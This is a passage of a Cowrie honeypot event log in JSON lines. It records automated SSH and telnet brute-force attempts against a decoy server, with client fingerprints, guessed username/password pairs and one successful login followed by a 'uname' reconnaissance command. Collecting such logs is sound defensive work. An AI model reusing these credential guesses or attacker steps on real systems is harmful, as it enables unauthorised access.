openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:57.692272Z","src_ip":"45.153.34.114","session":"da31a9bbef6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:57.971008Z","src_ip":"45.153.34.114","session":"da31a9bbef6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:59.134703Z","src_ip":"45.153.34.114","session":"da31a9bbef6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36600,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef4a450ef90","protocol":"ssh","message":"New connection: 45.153.34.114:36600 (159.203.135.109:22) [session: bef4a450ef90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.049184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.054588Z","src_ip":"45.153.34.114","session":"bef4a450ef90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.142441Z","src_ip":"45.153.34.114","session":"bef4a450ef90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.410912Z","src_ip":"45.153.34.114","session":"bef4a450ef90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58738,"dst_ip":"159.203.135.109","dst_port":22,"session":"90da6d9de2e5","protocol":"ssh","message":"New connection: 103.75.199.4:58738 (159.203.135.109:22) [session: 90da6d9de2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.636540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.641414Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:06.733080Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.013672Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.236984Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.240999Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.337174Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.343657Z","src_ip":"103.75.199.4","session":"90da6d9de2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:07.495476Z","src_ip":"45.153.34.114","session":"bef4a450ef90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46544122695923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:08.224096Z","src_ip":"74.91.213.120","session":"5b6e833bc17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50174,"dst_ip":"159.203.135.109","dst_port":22,"session":"9917096b1048","protocol":"ssh","message":"New connection: 45.153.34.114:50174 (159.203.135.109:22) [session: 9917096b1048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:14.027589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:14.031249Z","src_ip":"45.153.34.114","session":"9917096b1048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:14.120551Z","src_ip":"45.153.34.114","session":"9917096b1048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:14.379475Z","src_ip":"45.153.34.114","session":"9917096b1048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.168297290802002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:14.547395Z","src_ip":"74.91.213.120","session":"c448a5182569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:15.465751Z","src_ip":"45.153.34.114","session":"9917096b1048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53428,"dst_ip":"159.203.135.109","dst_port":23,"session":"01858b80aa16","protocol":"telnet","message":"New connection: 74.91.213.120:53428 (159.203.135.109:23) [session: 01858b80aa16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:16.172854Z"}
{"eventid":"cowrie.session.closed","duration":31.133790731430054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:20.868129Z","src_ip":"74.91.213.120","session":"684fdaf850aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42850,"dst_ip":"159.203.135.109","dst_port":22,"session":"6800080707a2","protocol":"ssh","message":"New connection: 45.153.34.114:42850 (159.203.135.109:22) [session: 6800080707a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:21.906431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:21.912688Z","src_ip":"45.153.34.114","session":"6800080707a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:21.998080Z","src_ip":"45.153.34.114","session":"6800080707a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:22.279254Z","src_ip":"45.153.34.114","session":"6800080707a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39800,"dst_ip":"159.203.135.109","dst_port":23,"session":"63cf9f2a1e7f","protocol":"telnet","message":"New connection: 74.91.213.120:39800 (159.203.135.109:23) [session: 63cf9f2a1e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:23.067498Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:23.372018Z","src_ip":"45.153.34.114","session":"6800080707a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57644,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d020b78360c","protocol":"ssh","message":"New connection: 103.75.199.4:57644 (159.203.135.109:22) [session: 3d020b78360c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:28.555964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:28.560756Z","src_ip":"103.75.199.4","session":"3d020b78360c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:28.652243Z","src_ip":"103.75.199.4","session":"3d020b78360c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:28.936492Z","src_ip":"103.75.199.4","session":"3d020b78360c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:30.031397Z","src_ip":"103.75.199.4","session":"3d020b78360c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45860,"dst_ip":"159.203.135.109","dst_port":22,"session":"8905d33b2c10","protocol":"ssh","message":"New connection: 45.153.34.114:45860 (159.203.135.109:22) [session: 8905d33b2c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:30.338093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:30.342609Z","src_ip":"45.153.34.114","session":"8905d33b2c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:30.432487Z","src_ip":"45.153.34.114","session":"8905d33b2c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:30.709709Z","src_ip":"45.153.34.114","session":"8905d33b2c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:31.801621Z","src_ip":"45.153.34.114","session":"8905d33b2c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45868,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e579f1201d2","protocol":"ssh","message":"New connection: 45.153.34.114:45868 (159.203.135.109:22) [session: 3e579f1201d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:38.736095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:38.741297Z","src_ip":"45.153.34.114","session":"3e579f1201d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:38.879178Z","src_ip":"45.153.34.114","session":"3e579f1201d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:39.154795Z","src_ip":"45.153.34.114","session":"3e579f1201d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:40.247410Z","src_ip":"45.153.34.114","session":"3e579f1201d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":59254,"dst_ip":"10.17.0.5","dst_port":22,"session":"da496c8c38f8","protocol":"ssh","message":"New connection: 80.94.92.182:59254 (10.17.0.5:22) [session: da496c8c38f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:43.104037Z"}
